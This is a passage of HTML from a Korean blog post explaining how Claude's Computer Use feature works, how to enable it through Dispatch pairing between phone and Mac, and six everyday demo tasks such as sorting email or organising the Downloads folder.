&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스크린샷 기반 인식과 픽셀 카운팅&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 동작을 순서대로 보면:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스크린샷 캡처:&lt;/b&gt; 현재 화면의 스크린샷을 찍는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 해석:&lt;/b&gt; 멀티모달 능력을 활용하여 스크린샷의 내용을 파악한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;픽셀 계산:&lt;/b&gt; 클릭해야 할 위치까지 가로/세로 몇 픽셀을 이동해야 하는지 계산한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;액션 실행:&lt;/b&gt; 마우스 이동, 클릭, 키보드 입력 등의 액션을 수행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;결과 확인:&lt;/b&gt; 다시 스크린샷을 찍어 결과를 확인하고, 다음 단계로 진행한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 이 방식을 &lt;b&gt;&quot;플립북(flipbook)&quot;&lt;/b&gt;에 비유한다. 연속적인 비디오 스트림이 아니라, 스크린샷을 순차적으로 찍어 맥락을 파악하는 방식이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자기 수정 능력&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 막히면 어떻게 할까? Anthropic에 따르면 &lt;b&gt;알아서 다른 방법을 시도&lt;/b&gt;한다. 클릭이 안 먹히면 다시 스크린샷을 찍고, 다른 위치를 클릭해본다. Anthropic은 Claude가 장애물에 부딪혔을 때 스스로 수정하고 재시도하는 행동을 관찰했다고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 설정 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 구독 및 플랫폼 요구사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use를 사용하려면 다음 조건이 필요하다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;macOS&lt;/b&gt; &amp;mdash; 화면 제어(Computer Use) 기능은 현재 macOS 전용 (Windows, Linux 미지원)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude Pro 또는 Max 구독&lt;/b&gt; (Team&amp;middot;Enterprise는 현재 미지원)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 데스크톱 앱이 &lt;b&gt;실행 상태&lt;/b&gt;여야 함 (잠자기 모드가 아닌 깨어 있는 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;참고: Dispatch(모바일 태스크 할당) 기능 자체는 &lt;b&gt;Windows x64도 지원&lt;/b&gt;한다. &quot;coming soon&quot;은 &lt;i&gt;화면 제어(Computer Use)&lt;/i&gt;의 Windows 지원에 해당하며, Dispatch와 Computer Use 화면 제어는 별개 기능이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ 단계적 롤아웃 중 &amp;mdash; 아직 안 보여도 정상&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;리서치 프리뷰인 만큼 Pro/Max 구독자 전원에게 동시에 열리지 않고 &lt;b&gt;순차적으로 활성화&lt;/b&gt;되고 있다. Dispatch 설정에서 &quot;Claude가 컴퓨터를 제어하도록 허용&quot; 토글이 보이지 않는다면 아직 해당 계정에 배포되지 않은 것이다. 별도 신청 없이 순차 확대되므로 기다리면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use를 사용하려면 &lt;b&gt;Dispatch 설정 화면&lt;/b&gt;에서 &lt;b&gt;&quot;Claude가 컴퓨터를 제어하도록 허용&quot;&lt;/b&gt; 토글을 켜야 한다 (설명: &quot;Claude가 클릭, 입력 및 앱 열기를 수행할 수 있습니다&quot;). 이 토글이 OFF인 경우 화면 제어 기능이 동작하지 않는다. 활성화 후에는 Claude가 커넥터가 없는 앱을 다룰 때 자동으로 화면 제어 모드로 전환된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch 연동&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch 연동은 해당 블로그 참고.. 이미 선행되어 있어야 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: start;&quot; href=&quot;https://goddaehee.tistory.com/558&quot;&gt;Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다시 핵심 설정 부분만 가져왔다.&amp;nbsp; 연결 방법은 간단하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. Claude Desktop의 Cowork에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Dispatch&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVkFPe%2FdJMcaibDqlS%2FmdAQY32VzQa2k0dstgyQ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;314&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. QR코드 생성&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 앱이 설치 안되어있으면 QR 스캔&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 이미 설치 및 로그인 되어 있어서 휴대폰에 로그인되어 있습니다. 클릭&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; style=&quot;width: 45.2559%; margin-right: 10px;&quot; width=&quot;467&quot; height=&quot;618&quot; data-widthpercent=&quot;45.79&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1242&quot; data-origin-width=&quot;938&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtBG45%2FdJMb996OEzZ%2FxCW2FMKe56m2tSxNkUW1P1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; style=&quot;width: 53.5813%;&quot; width=&quot;380&quot; height=&quot;425&quot; data-widthpercent=&quot;54.21&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;926&quot; data-origin-width=&quot;828&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQQ0Jq%2FdJMcacP0i1A%2FL8mGcKxFifOXDN5B4e5Jck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;828&quot; height=&quot;926&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 하루만에 Claude가 컴퓨터를 제어하도록 허용 이 생겼다(이전 dispatch 기능출시엔 없던 기능) 이게 computer use 기능인 것 으로 보인다. 체크해 주자.&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; style=&quot;width: 55.0744%; margin-right: 10px;&quot; width=&quot;405&quot; height=&quot;543&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;1422&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;55.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5gG4x%2FdJMcaaxUXBL%2FvS4sICxAKGrjaxuJaC3W2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;1422&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; style=&quot;width: 43.7628%;&quot; width=&quot;386&quot; height=&quot;652&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;1668&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;44.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lKeEc/dJMcaaLrCZB/pGHCC3uvgiiCj9MuhEf3C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlKeEc%2FdJMcaaLrCZB%2FpGHCC3uvgiiCj9MuhEf3C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;1668&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. Claude 모바일 앱으로 스캔&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 페어링 완료 &amp;mdash; 폰과 데스크탑이 하나의 대화를 공유&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이후에는 폰에서 Claude 모바일 앱을 열면 바로 그 대화에 접근할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 폰에서 작업하면&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboBfdO%2FdJMcajnYY9y%2FKG2mKpjCj1I7VPmCkkkqZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;609&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- PC의 cowork에서도 동일하게 동기화, 지시가 가능한 것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDcDT/dJMcahX4zpD/3p0QospTzI7U8YkL6rT6yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDcDT%2FdJMcahX4zpD%2F3p0QospTzI7U8YkL6rT6yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;1528&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Mac에서 Claude 데스크톱 앱이 실행 중인 상태를 유지한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;모바일 앱으로 Dispatch를 통해 작업을 지시한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 Mac에서 화면을 제어하며 작업을 수행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;작업이 완료되면 데스크톱이나 모바일에서 결과를 확인한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 포인트&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 Computer Use 발표(2026.3.23)와 함께 &lt;b&gt;Claude Cowork와 Claude Code 양쪽에서 동시에 사용 가능&lt;/b&gt;해졌다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 활용 시나리오와 프롬프트 예시 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 활용 시나리오와 프롬프트 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래는 커뮤니티와 공식 데모에서 실제로 시도된 시나리오를 바탕으로 정리했다. &lt;b&gt;직접 화면 녹화나 스크린샷으로 시연해보기 좋은 것들&lt;/b&gt;을 우선으로 뽑았다. 리서치 프리뷰 단계이므로 실제 동작은 다를 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 해볼 수 있는 시나리오 6선&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;이렇게 시켜봐&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude가 하는 일&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시연 포인트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;받은 메일 자동 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;받은 편지함에서 '청구서' 또는 'Invoice' 제목인 읽지 않은 이메일을 찾아서 'Invoices' 라벨을 만들고 분류해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Gmail 열기 &amp;rarr; 검색어 입력 &amp;rarr; 라벨 생성 &amp;rarr; 메일 선택 &amp;rarr; 분류 &amp;rarr; 읽음 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;60초 내 결과, Before/After 스크린샷으로 효과 즉시 확인&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Anthropic 공식 데모 시나리오)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Downloads 폴더 정리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;내 Downloads 폴더에 있는 파일들을 이미지&amp;middot;문서&amp;middot;영상&amp;middot;기타 폴더로 분류해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Finder 열기 &amp;rarr; 파일 확장자 파악 &amp;rarr; 폴더 생성 &amp;rarr; 분류 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;어느 Mac에나 Downloads가 있음. 전후 비교 스크린샷 찍기 쉬움&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(커뮤니티 공통 시나리오)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;반려동물 사진 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;(고양이 사진 첨부) 이 고양이가 우리 냥이야. '사진' 폴더에서 이 고양이 사진만 골라서 'Kitty' 폴더로 옮겨줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;레퍼런스 이미지 학습 &amp;rarr; 폴더 탐색 &amp;rarr; 시각 매칭 &amp;rarr; 분류 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;100% 정확도 사례 보고됨. 결과가 시각적으로 명확해서 영상으로 담기 좋음&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: aiblewmymind.substack.com &amp;mdash; 10개 시나리오 실험)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;쇼핑 리서치 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;네이버 쇼핑에서 '무선 키보드' 10만원 이하로 검색해서 평점 높은 상위 5개 제품 이름&amp;middot;가격&amp;middot;평점을 표로 정리해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저 열기 &amp;rarr; 검색 &amp;rarr; 스크롤/탐색 &amp;rarr; 데이터 수집 &amp;rarr; 표 작성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;내가 직접 하면 10분 걸리는 걸 지켜보는 재미. 완성된 표 스크린샷이 결과물&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(Substack 랭킹 스크레이핑 사례 응용, 출처: Artificial Corner)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;웹 정보 수집 체인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;Hacker News 첫 페이지에서 댓글 100개 이상인 글 3개를 찾아서 제목과 링크를 메모 앱에 정리해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저 &amp;rarr; Hacker News 열기 &amp;rarr; 댓글 수 확인 &amp;rarr; 메모 앱 전환 &amp;rarr; 입력&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;앱 간 전환을 실시간으로 볼 수 있어 라이브 데모에 적합. 결과 1~2분 내 도출&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Glama.ai &amp;mdash; HN + Google 체인 사례 응용)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Dispatch: 폰에서 지시, Mac이 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;(폰 Claude 앱에서) &quot;바탕화면의 발표자료.pptx를 PDF로 변환해서 오늘 오후 3시 캘린더 일정에 첨부해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;파일 찾기 &amp;rarr; 앱 열기 &amp;rarr; PDF 내보내기 &amp;rarr; 캘린더 앱 &amp;rarr; 일정 찾기 &amp;rarr; 파일 첨부&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;폰으로 지시 &amp;rarr; Mac으로 돌아오면 완료. Anthropic 공식 출시 데모와 동일한 시나리오&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Anthropic 공식 블로그, CNBC 보도)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #4a90d9; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;직접 시연 팁&lt;/b&gt;&lt;br /&gt;
